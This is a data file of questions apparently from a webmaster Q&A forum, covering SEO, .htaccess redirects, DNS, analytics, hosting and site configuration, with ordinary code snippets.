{"id":"12110","title":"Highly SEO optimised forum posts","text":"Given the following forum post: > **Basics of how internals of Construct work** > > I've used GameMaker in the past. And I know some C++ and have used a few 3d > engines with it. I have also looked at Unity, though I didn't get too much > into it. So I know my way around programming etc... > > My question is, how does construct work internally? I know it allows python > scripting, which itself is \"technically\" interpreted, though python is > pretty fast as far as being interpreted goes. But what about the rest? Is > the executable that gets cre... The forum software will take the first 150 chars of the first post as the page meta description, and the title will be the thread title. All ok. So in Google it will appear as: > **Basics of how internals of Construct work** > > I've used GameMaker in the past. And I know some C++ and have used a few 3d > engines with it. I have also looked at Unity, though I didn't get too > much... > > `http:\/\/www.domain.com\/forum\/basics-of-how-internals-of-construct-work.html` Now the problem is (not so much with this thread, but other ones) is the first 150 chars don't always create the best meta description. Is it worth my time to cherry pick threads and manually set their description\/title tags so they read like: > **Internal workings of Construct 2** > > Events aren't converted to any other language. The runtime is a standalone > compiled EXE application, which is optimised and actually very fast. Your > events... > > `http:\/\/www.domain.com\/forum\/basics-of-how-internals-of-construct-work.html` The H1 on the page is still the original title, but we have overridden the title and description to look more friendly on search results. Is this advantageous forgetting the obvious time cost?"}
{"id":"12113","title":"Pseudo-external links and SEO","text":"I don't know, how to name such a links. Main idea is following: I write a post at a community, which I do not control, and place a link to my web-site: > www.mywebsite.com When post is saved, my link is converted to this: > `http:\/\/www.some-community.com\/outgoing?http:\/\/mywebsite.com` It does't have \"nofollow\" attribute value. When i click this link, i get notification page, like this: > \"You are going to follow to external site. Continue ?\" This page contains the actual link to my website, again without \"nofollow\". How such a pseudo-external link will be handled by Google's and other search engines? I think, this will be no problems with reaching my website, but extra hop. Or? Will posting a link on such communities increase ranking of my website? **Update 1** Just rephrasing my question: I promote my website in some communities via writing posts (with links to my website). These communities having such redirect notifications, like \"You are visiting external site. Continue ?\". The question is - will using such communities increase my ranking ?"}
{"id":"6349","title":"How to compile a complete list of valid TLD and ccTLD domain extensions","text":"Most domain extension lists i've found only list the ccTLD and TLD portion of the extension (e.g. `.uk`) and don't list the full set of valid extensions for that ccTLD or TLD (e.g. `.org.uk`, `.ac.uk`, `.co.uk`, etc). Without researching the registrar policies of every single ccTLD in the world, is there a way for me to compile\/obtain a complete list of all current valid domain extensions in the world?"}
{"id":"49846","title":"Privacy Policy & Terms - Holder of the treatment","text":"I have a legal question: Often I see in Privacy Policies and Terms of Conditions the point\/field entitled: \"Holder of the treatment.\" Usually in the \"Holder of the treatment\" field, websites puts their own physical street address \/ office address, and sometimes the holder puts his own name in that field. So is it officially needed, or is it just something I can avoid adding into such legal texts? **NB:** I'm Italian, so I need to follow Italian laws. I only found this link: http:\/\/it.wikipedia.org\/wiki\/Titolare_del_trattamento_dei_dati But it's in Italian so sorry, and I can't understand if I need to put the \"holder of the treatment\" in legal text."}
{"id":"61311","title":"CheckCaseOnly doesn't work, while CheckSpelling does","text":"I'm trying to globally set `CheckCaseOnly on` to make my webservers folders case insensitive. It doesn't work though? I don't need it to correct spelling - thus I'm not using `CheckSpelling`. Apache2.4 on Ubuntu. mod_speling is enabled."}
{"id":"56065","title":"Rewrite URLs not working - wrong method or conflict?","text":"I've been at this for about an hour now and I'm not having much luck. htaccess files are quite new to me, so I'm obviously doing something very wrong. Current htaccess content, which I need to keep: RewriteEngine On RewriteRule ^blog-page-([^-]*)$ ?page=$1&p=home [L] RewriteRule ^blog-([^-]*)+? ?d=$1&p=home [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?p=$1 [L] I need to redirect 100+ old (WordPress) URLs back directly to the domain, such as: \/some-url-as-seen-by-google\/ -> www.domain.co.uk They all follow the same pattern, for example: \/something\/some-url-as-seen-by-google\/ \/some-url-as-seen-by-google\/ I've tried all kinds of RewriteRule, RedirectMatch 301, Redirect 301 rules, but I just can't seem to get my head around it, or get it to work."}
{"id":"17198","title":"Are the space and the \/ required in the <br \/> tag?","text":"Back in the day, I remember writing many a webpage without using \/ in the tag. What changed? Also, is the space \"required?\""}
{"id":"17196","title":"Having hard time to hide directories on my site","text":"i'm trying to hide some directories on my site by returning 404 not found error codes instead of forbidden, the problem is that the files in the directory becomes not available to php. how can i hide the directories by returning 404 error codes for them without making them unavailable to me also? i have seen this in apple.com and facebook.com. this is the code i'm using in .htaccess: Options All -Indexes RedirectMatch 404 ^\/classes(\/?|\/.*)$ RedirectMatch 404 ^\/css(\/?|\/.*)$ if it's not possible how can i hide them without returning 403 because wans a hacker sees 403 he will go make some coffee sit infront of his laptop and won't leave my site without some data. EDIT: this where i'v seen it http:\/\/images.apple.com\/global\/styles\/ i'm not saying i want to hide very important stuff.... the important stuff are outside the web root, what i'm saying is i want to hide directories like this directory for example. `\/media\/` in this directory there are more than 800 directories in each directory there are more than 500 mp3's, how can i send 404 for all those directories but still be able to reach them through php or javascript, is that possible? and if not is denying access to all of this folders is my only solution?"}
{"id":"52583","title":"How do you stop PDF hotlinking and automatically redirect hotlink clickers?","text":"I have some PDF documents that I offer users once they have subscribed to my newsletter. Well, Google found them, and other people are posting them on various sites. I'd like to take advantage of Google ranking my PDF documents and redirect users that click on those links to an html or php page. How do you automatically redirect hotlinked PDF clicks (on Google search and other sites) to a relevant page (i.e. domain.com\/PDFdoc1.pdf redirects to domain.com\/PDFdoc1.html or domain.com\/PDFdoc1\/)? I want to keep the PDFs ranked where they are on Google, and keep the PDF documents exactly where they are on my site, but just redirect hotlinked clickers to a page instead of the PDF.How can this be done?"}
{"id":"9351","title":"Scalable ASP.NET hosts for under $20.00\/ month","text":"I am looking for a scalable ASP.NET host for under $20.00\/ month. I need it scalable just in case my website is featured on popular blogs and traffic increases dramatically (in that case, I would increase my budget). So far I checked Amazon EC2, Rackspace and GoGrid, but they are far too expensive. I also checked GoDaddy 4GH but it limits MSSQL to 200MB."}
{"id":"9602","title":"Is there a good [and modern] reason to not have static HTML pages with AJAX content , rather than generate pages?","text":"_Assumptions: We don't care about IE6, and Noscript users._ **Lets pretend we have the following design concept:** All your pages are HTML\/CSS that create the ascetics, layout, colours, general design related things. Lets pretend this basic code below is that: <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Strict\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-strict.dtd\"> <html> <head> <link href=\"\/example.css\" rel=\"stylesheet\" type=\"text\/css\"\/> <script src=\"example.js\" type=\"text\/javascript\"><\/script> <head> <body> <div class=\"left\"> <\/div> <div class=\"mid\"> <\/div> <div class=\"right\"> <\/div> <\/body> <\/html> Which in theory should produce, with the right CSS, three vertical columns on the web page. Now, here's the root of the question, what are the serious advantages and\/or disadvantages of loading the content of these columns (lets assume they are all indeed dynamic content, not static) via AJAX requests, or have the content pre-set with a scripting language? So for instance, we would have, in the AJAX example, lets asume jquery is used on-load: \/\/Multiple http requests $(\"body > div.left\").load(\".\/script.php?content=news\"); $(\"body > div.right\").load(\".\/script.php?content=blogs\"); $(\"body > div.mid\").load(\".\/script.php?content=links\"); OR--- \/\/Single http request $.ajax({ url: '.\/script.php?content=news|blogs|links', method: 'json', type: 'text', success: function (data) { $(\"body > div.left\").html(data.news); $(\"body > div.right\").html(data.blogs); $(\"body > div.mid\").html(data.links); } }) Verses doing this: <body> <div class=\"left\"> <?php echo function_returning_news(); ?> <\/div> <div class=\"mid\"> <?php echo function_returning_blogs(); ?> <\/div> <div class=\"right\"> <?php echo function_returning_links(); ?> <\/div> <\/body> I'm personally thinking right now that doing static HTML pages is a better method, my reasoning is: I've separated my data, logic, and presentation (ie, \"MVC\") code. I can make changes to one without others. Browser caches mean I'm just getting server load mostly for the content, not the presentation wrapped around it. I could turn my \"script.php\" into a more robust API for the website. But I'm not certain or clear that these are legitimately good reasons, and I'm not confidently aware of other issues that could happen, so I would like to know the pros-and-cons, so to speak."}
{"id":"9604","title":".co domain name & UK focused SEO - any good?","text":"Does anyone know if a keyword-rich .co domain name can be listed and rank fairly highly in Google UK (assuming the content is correctly balanced and tailored for the keyword in question) ? Does Google class it as international?"}
{"id":"9355","title":"What happens if I transfer domain from one registrar to another one?","text":"I have several domains registered at GoDaddy. I bought them with private registration. What happens if I transfer these domains (together with hosting) to other provider? Where will I pay for renewal next year? Also what should I be aware of when transfering domains?"}
{"id":"53366","title":"404 Hits from \"PHPCrawl\" on WP site","text":"Forgive me if this is in the wrong area - I thought considering the topic, it belonged here (as opposed to in WP). Correct me or move it if I am wrong. I've been looking around one of the sites I control (one we've been having all kinds of little problems with) and checked my 404 logs. Usually I expect to see the generated captcha images and other random entries, but today I saw several of the site's pages on there with \"\/(\" appended at the end, all with \"PHPCrawl\" as the User Agent. As far as I can figure, this is an open source script available for developers to use at their discretion. I've not used anything of the sort. I don't believe anyone else in control of the site has. Is it possible one of the plugins could have caused these entries? Is it automated from some search engine? Is it something I should be worried about hurting the site or its SEO?"}
{"id":"10174","title":"SEO: Moving articles from one domain to another","text":"Currently I have articles up on a website (site A) that is not mine (but I can remove the articles.) The article's aren't faring well (not only due to the recent Google changes) but because they really could do better if I made some tweaks myself instead of relying on the domain owner's SEO skills. So I would like to set up my own website and have just my articles on it (site B.) In the past when I've moved content, I've set up redirects but this time I can't do that. What would be the best way to move the articles without having to worry about them being counted as duplicate content or any other lame stuff? Should I, A: Save the articles on my computer and remove them from Site A. Wait for Google to remove them from the index (several months.) B: Remove the articles from Site A and immediately place them on Site B."}
{"id":"3763","title":"Are there any specific tips and tricks for optimizing a website for Bing?","text":"Most available resources (even Bing community) promote the general principles for optimize a site in Google. My site is quite well optimized for a certain keyword combination in Google, yet in Bing it fails to even show up on 1st page. Now, I'm aware both engines do not employ same algorithm. In this case, then there should be particularities in Bing SEO, too. All I found online was pretty vague."}
{"id":"49200","title":"Ranking websites in Bing & Yahoo search engines","text":"I'm finding it extremely difficult to rank websites on Bing and Yahoo. When a website ranks well on Google, why is it finding difficulties on Yahoo and Bing? Although the algorithms are different, I have read in some blogs that its easy to rank on Bing & Yahoo compared with Google. Is that true? Am I missing something?"}
{"id":"21246","title":"Does AdSense script send website content to Google servers?","text":"I am running a web application where I want to place context-sensitive ads in. The content being displayed is private data of my users (not visible to the public), like email content and such. Thus, for privacy reasons, I don't want this information to be redirected to 3rd partys, such as Google servers. Now, if I'd display AdSense ads, what exactly does this script do in order to display the ads? Does it just parse the content of the site and then display relevant ads or does it actually send the content to Google servers in order to find the right ads to display?"}
{"id":"46694","title":"is free ssl certificate appropriate - only needed for login page","text":"I need to protect the user's credentials on my website's login page. The rest of the website does not need SSL. I don't sell anything or accept any credit card information (now or in the future) either. It is important that user should not see any browser warning on the login page. Is a free ssl from startssl appropriate for this scenario?"}
{"id":"21245","title":"Key performance indicators to measure online brand image","text":"A company is going to launch an event and a series of online related content that will be published on it's website and promoted online and offline to it's customers and leads. The event will last for two weeks and related content will be promoted during that period a few days later. The main content types will be news stories, interviews, blog posts, videos, and photos. The purpose of this event and content is to improve brand image among it's customers. **What are the best online Key Performance Indicators (KPI) that can be used to measure success of this initiative?** * Results and conclusions must me presented a few days after the end of the event. * The measurement tools will be Google Analytics, Facebook Insights, and Topsy. * We don't want to create more than 5 or 6 KPI's, because a lot of KPI's produce results that are hard to communicate in a 10 minutes talk to people that are not web-savy . Just to give you an example of what could be a possible KPI: * Increase in the number of visits, where the visitor spends 25% more time on the site than the average of the last three months. _(Measured with Google Analytics)_ It looks like there's a lot of room for opinion on this question, but what I need is not opinions, but links to web pages. I'm looking for specific information about documented best marketing practices used today."}
{"id":"37560","title":"Point domain to a third party while retaining control over email","text":"I own a domain and I need to point the domain to another domain which I don't own. I'm a contractor for the other company. The want me to do it, but I want to retain autonomy with regards to email for the domain."}
{"id":"21243","title":"SEO a site from another site","text":"I use a vendor who has a site for ordering parts. The vendor sells many kinds of parts. Is it possible to perform some kind of SEO magic, where I can SEO, or direct users, to the vendor's site? For example, let's say the parts vendor sells car parts for all car manufacturers. If I own a Chevy site and buy parts from this vendor (who sells Toyota, Cadillac parts also), I would like to target customers who google Chevy Parts through the use of my site. Is this possible or is there a way this is possible? Or could I do something with domains\/sub domains somewhere. Not really sure if buying a domain and creating a site to target users like this is possible."}
{"id":"21240","title":"Best way to let users enter 'infinity' in a html form","text":"I have a form with a field \"quantity\" which can have the value \"unlimited \/ infinity\": Quantity: [ ] What would be a good way to let users enter \"infinity\"? Some ideas: 1) Tell the user that `-1` means infinity: Quantity: [ ] (-1 = unlimited) 2) Tell the user that a blank field means infinity: Quantity: [ ] (blank = unlimited) 3) Radio buttons () Quantity: [ ] or () unlimited Any ideas? Or links to related usability studies?"}
{"id":"21718","title":"Does Google Analytics report multiple tabs?","text":"Visitors to a site may have several pages open at once using multiple tabs or windows. Does Google Analytics provide any info on this behaviour?"}
{"id":"63410","title":"Should I disavow natural backlinks on forums?","text":"I was running backlinks analysis and it shown me some suspisious backlinks on forums. These links are natural, as users of these forums shared links with others. Should I disavow such links in GWT?"}
{"id":"1802","title":"How can I validate HTML offline?","text":"When I'm developing a website locally sometimes I want to check if the html is valid but I haven't been able to find a good tool. I want it partial as a sanity check when I'm troubleshooting layout issues. Can you please suggest a tool that can validate HTML **offline**? I'm not looking for validation inside of an IDE but something that will load the page from the web server. Thank you!"}
{"id":"3784","title":"Is it good to refresh a page after a fixed interval?","text":"I seen many sites which are refreshing their pages after a fixed interval. Sometimes it is 1-2 mins only. If i refresh a page after every 5 mins. It'll helpful to notify user with updated contents. Please tell me 1. should i use Ajax for the same instead of reloading the complete page? 2. Would it affect google analytics js script? Means, whether the counter for visits will be increasing? 3. Would it affect adsense?"}
{"id":"62988","title":"How can I change the Google Analytics timezone?","text":"All howto's I was able to find in the Internet is slightly (or even not slightly) different from the things I see in my real account. This things is also applicable to the official Google help pages (!). Where's the right place of this setting?"}
{"id":"68943","title":"SEO AJAX Calls for Google","text":"I have a working WordPress site that contains a custom navigation and retrieves a page based on title. So what it looks like is, lets say I have a page called `test` and the user selects `test` on the custom navigation. The `href` link that is placed would be `#!test`. Now I am fully using `Ajax` to call the content for `test` and that looks like: $.ajax({ url: \"\/thenewsite\/wp-content\/plugins\/mass\/return_body.php\", type: \"post\", dataType: \"json\", data: { 'key_page' : key_page, 'function' : 'page_grab' }, ..... }); `return_body.php`: $base = 'http:\/\/www.massmedicalstorage.com\/thenewsite'; if ($fragment = $_GET['_escaped_fragment_']) { $page = get_page_by_title($fragment); print_r ($page); exit; } $DBH = createConnection(); $response = array(\"status\" => \"ok\", \"code\" => 1, \"original_request\" => $_POST); \/\/ CREATE REQUEST if($_POST['function'] == 'page_grab') { $page = get_page_by_title($_POST['key_page']); $response['data_retrieved'] = $page; if($page !== null) $response['status'] = \"found\"; } Now the `Ajax` function than places the content retrieved based on design requested. So the area that is gray for me is, am I working with `Google` correctly for `SEO` `ajax` purposes? Am I returning my content correctly in the `_escaped_fragment_` section? Also how do I check to see if google is fetching the `ajax` content? If I am not properly retrieving a `snapshot` of my `html` how do I do so correctly?"}
{"id":"45520","title":"Duplicate title tags error in webmaster tools","text":"I have changed some URLs in my site then to prevent webmaster tools duplicate error I **redirected (301)** old URLs to new URLs also I tried to remove old URLs in \" **Optimization>Remove URLs** \" section of webmaster tools and still I get Duplicate title error. I want to know is any problem in redirecting? For example http:\/\/www.visakga.com\/visa redirected to http:\/\/www.visakga.com\/visa-and-residency PS, I used **Fiddler** to check 301 redirect and think it should be okay. Thanks in advance"}
{"id":"4998","title":"want give access only one component backend manager users?","text":"I want give access only one component to the back end manager users? it is possible?if yes please tell me how can?"}
{"id":"64919","title":"How can I lookup all records in one go","text":"I am using http:\/\/www.kloth.net\/services\/nslookup.php to lookup dns records but they can only be looked up one at a time, eg MX OR CNAME etc. If I want to get a list of all them for a particular domain is that possible, using this?"}
{"id":"44698","title":"Problem to stop Google-Analytics from tracking my website","text":"In June 2012 I added my website (a blog that I host on my own server) to Google-Analytics. In January 2013 I decided to use Piwik instead of Google- Analytics. So I removed my website from the Google Webmaster Tools page. I also removed the Google's script from the footer of my webpages. I checked several times that there are no links to any Google Tools (Google Fonts, Google Analytics) in my code. However Ghostery (Add-on for Firefox) shows that Google-Analytics still tracks my website. I checked the following pages on Google: The page www.google.com\/dashboard\/?pli=1 (Dashboard) lists my website (logically it shouldn't as I removed my website from it) but when I click on \"Manage my sites\" the page www.google.com\/webmasters\/tools\/home?hl=en&authuser=0 (Webmaster Tools - Home) my website is not listed any more and there is only a form to add a new site. The page www.google.com\/analytics\/ invites me to sign up and then doesn't list any website and shows a form to add a website. Do you have any idea about what I should do to stop Google-Analytics to track my website for good? Thanks for your help. ps) this is my first message on Stack Exchange, I hope my English is not too bad. Thanks you all for making this big community exist. Keep up the good work. * * * Update: Could the meta `<meta name=\"google\" content=\"notranslate\" \/>` in my code be the reason of the tracking? Answer: no, it's not related."}
{"id":"44127","title":"Impact of blocking site search from googlebot, but listing content pages in sitemap.xml","text":"We have a fairly large site 600k+ unique pages with various unique URLs along with a custom, local search interface for the site. The search interface has sorting and faceting capabilities to allow users to limit results and change display. **We are getting over 200,000 search requests a day from googlebot alone, and have tried to address it in the following ways:** * adding noindex to faceting and sorting requests * adding `rel=next` and `rel=prev` to results pages to allow google to understand structure We are considering adding a sitemap.xml to ensure that content pages are found, and also attempting to add a ~~Dissallow~~ Disallow entry in the robots.txt for the search results. Does anyone have any experience with the effects of this? Ideally, we don't want to lose rankings or results in Google, but also would love to not suffer the impact of serving up 200k searches a day to a search engine bot that just wants real content and not search results."}
{"id":"37696","title":"If I block a page in robots.txt would I still be able to see the page in my browser?","text":"What is the purpose of robots.txt? Is it to prevent bots from crawling pages? And if so, does that mean that I can still access the page through my browser?"}
{"id":"52438","title":"What is the meaning of 'displaying' in Google Webmaster's Search Queries page?","text":"What is the meaning of `displaying` in Google Webmaster Search Queries page?  I could not find the information in the documentation."}
{"id":"49424","title":"Can I improve load times by reusing images?","text":"I've created a website that has multiple pages, and each page has it's own dedicated folder. Inside of each page's folder I've created a dedicated image folder. I reuse many of the same images (logos, buttons, etc) across the site, but I always link from the current pages dedicated image folder. Would my images load faster if there was only one image folder (placed in the root folder), and each page used that as the source of its image files? Will this cache the images?"}
{"id":"25264","title":"Is there an open source solution that I can host on a web server that will allow users to anonymously upload a file to me?","text":"I'm looking for some kind of web application I can host on my Linux web server that will allow users to upload files of arbitrary size to me from their browser without requiring them to log in. Ideally this application would allow me to generate a link to my website that allowed for a one-time use upload. It might contain a unique, random key that was only good for that session. I could email them the link, they click it and are taken to a page where they can upload their file to me. I'm mainly targeting friends and family that need to send me files that are too large for email. I don't want to require them to install anything (dropbox), sign up and log in, etc. I'm definitely not teaching them to use FTP. This wouldn't be a difficult project for me to roll on my own but I'd like to take something off the shelf if it is possible. Does anything like this exist that my google-foo isn't turning up?"}
{"id":"14077","title":"Are there any other tags that have the href attribute except <a>?","text":"I hope this is a suitable question for pro webmasters. Are there any othertags that have the href attribute except `<a>`? If yes, please tell me which. Thanks!"}
{"id":"38064","title":"Problem uploading files, access denied via cPanel, while not in FTP","text":"I have problem with uploading my files via cPanel but it works by FileZilla (FTP). It was said: upload canceled: VIRUS DETECTED (Access Denied, ERROR). I have tried uploading files via cPanel using Windows, Macintosh and Linux but return the same result. How can this happen by using cPanel, while not in FileZilla?"}
{"id":"14070","title":"Problem with homepage's SEO when using subfolders in a multi language website","text":"After watching a hundreds of threads about **multilanguage website** I haven't found an answer to my specific problem, so I think its not a common issue and I must have done something terribly wrong ;-) We have a brand.com website in DE main language and the following subfolders: * \/de\/ = canonical of \/ + redirect to \/ * \/it\/ * \/en\/ **When I crawl google.com for EN keywords or google.it for IT keywords then I get as results the homepage in German language (both title and description) as the top result with no trace of the \/it\/ or the \/en\/ homepage.** Is this because \/it\/ and \/en\/ both needs a separate link building strategy? I've already configured Google webmaster tool into the following way: * brand.com, no language preference * brand.com\/de\/, de language * brand.com\/it\/, it language * brand.com\/en\/, en language Perhaps having \"\/\" as DE main page is it wrong and I should use a different approach? i.e. like having \"\/\" to be a 301 to \/de\/ instead ? Thanks in advance."}
{"id":"49422","title":"Setting CNAME confusion","text":"I don't get how `CNAME` DNS records work. I always thought setting bar.example.org. CNAME foo.example.com. would let me request `bar.example.org` and receive `foo.example.com` while I own the domain `foo.example.com`, and somebody else owns `bar.example.org`. That doesn't make sense, because I could point any domains (even without permission) to my content. So, I thought it's rather the other way around, and if I'm the owner of `bar.example.org` I can point this domain to `foo.example.com`. That would be weird as well, as my page would display somebody else's content that the owner might not even be aware of. So how does a `CNAME` actually work?"}
{"id":"35131","title":"Assign subdomains to separate ports on web server","text":"I have set up an Abyss web server as a little experiment, and I want to know if it is possible to assign subdomains to different ports on the machine the web server is running on. I have a couple web UIs that I'd like to assign subdomains: 1. `192.168.1.1:8000` becomes `example.com\/webui1\/` 2. `192.168.1.1:8001` becomes `example.com\/webui2\/` The webUIs are available by accessing their ports via example.com:8000. I have tried using a reverse proxy, but it seems that this is only usable on one internal IP at a time. What other options do I have? Answer is good, but my current set up doesn't meet the requirements. Abyss Web Server X2 is required to use Virtual Hosts with Abyss."}
{"id":"1941","title":"Mobile phone detection (brand, model, browser etc)","text":"What do you use to detect visitor's mobile phone, down to the model if possible? Currently we maintain our own database but it's really getting behind due to lack of manpower to maintain it, so we decided to give 3rd party solution a try. These are my candidates but I don't have time to really try them all: * DeviceAtlas - 1 year personal evaluation, but basic license is affordable. Their database look solid with daily update and user-contributed tests \/ updates. I am favoring this one at the moment. * DetectRight - I was recommended this by a colleague but really can't find much from their site. 20k devices -- really? * WURFL - Open source, database collaboratively derived from UAProf. So basically if you're going with UAProf solution, you're better off with WURFL. * DetectMoBileBrowsers - This looks like the simplest of all. Too bad it's language dependent (PHP). Please share your experience or suggestions!"}
{"id":"1946","title":"SEO: One domain with numerous sections, or various different domains?","text":"If I have a site with numerous subcategories would it be better to have one domain with each subcategory linking off it, or a domain for each subcategory? For example, if it's a sports news site, it might be something like: sportsnews.com sportsnews.com\/football-news sportsnews.com\/cricket-news sportsnews.com\/tennis-news etc. The idea would be that there's an overall common layout to the sites, but the content and theming is different. The alternative approach would be something along the lines of: sportsnews.com footballnews.com cricketnews.com tennisnews.com From an SEO point of view, is it best to have the one site with the rest linking off it so all the links to it are driving up the page rank collectively, or would it be best to have separate domains so that the domain, meta, title and description of each individual site all match up to the expected search keyword of `(sport name) news`? If the latter approach were chosen, would linking to the individual domains from the primary one then be detrimental to the overall network of sites? **Edit: Please note that sports is just an example. You can assume that although the subcategories are related 95% of users will not be interested in any others than the one they searched for.**"}
{"id":"31106","title":"DNS propogation question with name server change","text":"The registrar I have is networksolutions.com, and for quite a while, the name servers were pointing to Site5.com, where hosting is for one of my domains. I wanted to bring DNS control back to networksolutions, so I pointed the name servers back to networksolutions and added in all my A records. However, I noticed that the site soon became unreachable. I'm curious as to why this happened? If the domain was pointing to either the old name servers or the new ones, it would still have the proper A records and whatnot. Is this because when I changed name servers, a request was made to delete them completely, and then the DNS servers worldwide have to wait for network solutions to send out the new ones or something? I was hoping this would be a switch with zero downtime, such as a normal A record change."}
{"id":"3256","title":"Live chat solutions","text":"What good live chat\/live help solutions are available (preferably for use on a site hosted on a LAMP stack and free)? I'm looking for a way to allow our sales and customer service reps to talk directly with visitors to our site. I've looked at phpopenchat, but it looks very unpolished. The only other free live chat app I've come across looked egregious. The aesthetics and UI design alone made me shudder to think what the underlying code might look like. This isn't a critical feature, and it wouldn't be hard to code up myself, so I'm not really looking for commercial software or paid services (unless there's a really compelling reason to use them). I'm just wondering if any other webmasters have come across a satisfactory free\/open source solution for providing live customer support on their website. As a side note, live voice chat would also be an option, but it has to be be designed (or customizable) for customer support rather than a public chatroom. **Edit:** Looking at the responses, it looks like there probably aren't going to be many free solutions for this type of business-oriented chat solution, so feel free to post answers even if they are commercial solutions as long as they're a good value. Also feel free to post any alternate live support solutions (such as the Skype recommendation) that could be in someway integrated with a website. This will give me a good lay of the land for what people are actually using for live support, and I think will be more helpful to others reading this question."}
{"id":"13249","title":"Looking for CMS for managing courses","text":"I'm looking for a good CMS for managing courses. I don't want to run these courses via the internet - so I'm not looking for an e-learning CMS. What I need: - create a database of courses, workshops with detailed description etc.. - allow users to register to the platform, subscribe for courses - create profiles for tutors - with a short description etc. - besides normal courses I would like to create some courses \"in plans\" - if there will be enough people interested in such course, we will try to organize it - I also need to have the ability for users to send us information about courses they demand (i.e. they go to a page of the course that was run some time ago and click \"do it again!\" ;) ) - create the ability to give us a feedback after the course (polls etc) I was thinking about moodle or dokeos but since I don't need the e-learning platform (only platform to manage the courses...) don't you think it's a little bit too sophisticated tool in my situation? What CMS would you recommend?"}
{"id":"49101","title":"Posting books in a blog?","text":"I saw this blog that posted chapters of books so the full books (etc. hunger games, twilight...) and was looking to so something similar. Is it legal to post a full book online? If not can you post a few chapters?"}
{"id":"2859","title":"Putting ads on Facebook, iframe","text":"I've made a Facebook app, a small card game, which works with the Facebook iframe option. My question is: is it allowed to put advertisements on the original page where the iframe links to, so it appears in the Facebook app? Are there any limitations? Which advertising companies allow this? (I've heard of Adsense, ain't to fond of it...)"}
{"id":"54931","title":"Getting user generated content with no titles to rank","text":"We are creating a site that allows users to generate content. The user is provided with a text field only (no title), similar to Twitter, Facebook, and Google+. Each piece of content created by the users will have a dedicated page\/URL. Since the page has no title, I was wondering how search engines will index and display our pages. If the content was shared on other social networks, what will those results look like if there is no title for the open graph or Twitter tags?"}
{"id":"58622","title":"What do I put in htaccess to create a 410 error page when a URL parameter is present?","text":"I tried to create a 410 error page but realized that I actually created a 302 redirect to a `410.php` page. Instead I want to use a 410 error to block out an infinite number of dynamically created pages that are being indexed by Google. I have about 30k internal links that are indexed on Google thanks to a faulty internal search engine: * `http:\/\/www.example.com\/?searchkey=1_q` * `http:\/\/www.example.com\/?searchkey=2ak` - (etc... goes on for 30k times) What should I write in `htaccess` to block anything with this \"searchkey\" parameter such that a 410 error page is served? (I'm not a programmer, so I would appreciate a simplified response.)"}
{"id":"49107","title":"Registering a domain without an email address","text":"I am soon going to be getting a domain and setting up email addresses for me and a few of my partners in business. I personally do not want to be tied to my current Outlook.com email address and I don't want to have to use that address to manage my domain settings. I will not be using my old address once I have my personalized domain and email address. Are there any domain registrars that do not require and email address or allow you to change it later?"}
{"id":"60192","title":"Non HTTPS site is indexed as HTTPS in Google Search","text":"I have hosted a site over shared hosting (ipage) and not have setup SSL certificate (which I don't need), but some how Google have indexed it as HTTPS link which popup security error on opening it. Check here. I tried with 301 redirection by adding following in my _.htaccess_ file: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTPS} on RewriteRule .* http:\/\/%{HTTP_HOST}%{REQUEST_URI} <\/IfModule> But no luck with this. It may be because I am using shared hosting. Only homepage is indexed as https other pages are indexed fine. Is there any other way to tell Google to index it as HTTP instead of HTTPS?"}
{"id":"44346","title":"Reporting paid links to google - does it work?","text":"I am noticing that my competitors have a boat load of paid backlinks, which don't seem to be discredited from google (PR is intact, rather then 0) Problem is, those sites aren't any gambling or viagra sites, where google really cracks down. They are Software niche sites, open source sites, communities etc but they still sell links effectively. They have a sidebar, where it says \"Our sponsors\" or something similar and \"become a sponsor\" below it. I have seen other sites getting penalties because of something like this, but those sites, don't for some reason. My question is, does google even take spam reports for paid links seriously? Or do they only take action if its overly spammy? Some of the purchasers of those paid links are reputable sites like oreilly.com or even symantec. What can I do to have my report reviewed rather sooner then later and acted upon? Or am I misjudging those links? Tbh I do not see how these followed type of links, you can only get by \"donating\" is anthing else then a paid link. Here a few examples (notice the tell tale sidebar\/footer): http:\/\/www.givecamp.org.uk\/ http:\/\/www.gl-net.org.uk\/ http:\/\/www.dfwqaa.org\/ http:\/\/www.padnug.org\/ There are many more like it, but I think thats enough as example."}
{"id":"49106","title":"What exactly does \"exact\" and \"broad\" mean in keywords adwords tool?","text":"I have read several articles on this, but still fail to understand. For example I have the following keywords in adwords: Cheese in NY - Volume: 22.000 searches Cheese NY - Volume 22.000 searches and [Cheese in NY] - Volume: 100 searches [Cheese NY] - Volume: 90 searches Why the big difference? As far as I understand [keyword] does not mean its actually typed in in quotes. So if only 100 people use Cheese in NY, where do the other 21k searches come from?"}
{"id":"3333","title":"Placing links to own site in templates?","text":"I wonder if its good or bad to put links to your own site when u design a theme eg. in Tumblr? I noticed this when i saw many links to my site from people's tumblr using my templates. Maybe i should use nofollow on those links?"}
{"id":"5462","title":"Drop in traffic, but same rank position - Why?","text":"My traffic dropped recently in the last week. The most recent change was when I moved the entire server too another server. Could that affect my seo some how? What could have possibly happened? My main keywords for my website seem to be in the same rank, but I am getting less traffic from those keyword for some reason. Any ideas?"}
{"id":"28539","title":"Static HTML to Wordpress Migration SEO Implications?","text":"Recently, I migrated a client's site to a new server and a new home within WordPress so they could more easily edit their website and start a blog section. The static site was 10 years old a was showing up at place #3 for it's primary keyword, consistently, according to my client, and has dropped to rank #6-8 following the migration. At launch, we made sure the urls were identical (save the removal of \".htm\" which we used 301 redirects to compensate for) and we generated a new XML map and pinged Google with the new site. We keep a 404 log to make sure we're not losing any incoming links. We also have Google Webmaster Tools on this site and have zero errors\/suggestions, everything seems OK. I was told by numerous sources that Google would not penalize us for the use of 301s, but it's the only thing I can think of right now that is different about the site, other than the platform. Any ideas about what we could be getting docked for?"}
{"id":"1497","title":"DNS sub-domain registration","text":"Is it possible to register a sub-domain if you don't own the base domain? For example, could I register NickLarsen.random.com if I don't own random.com?"}
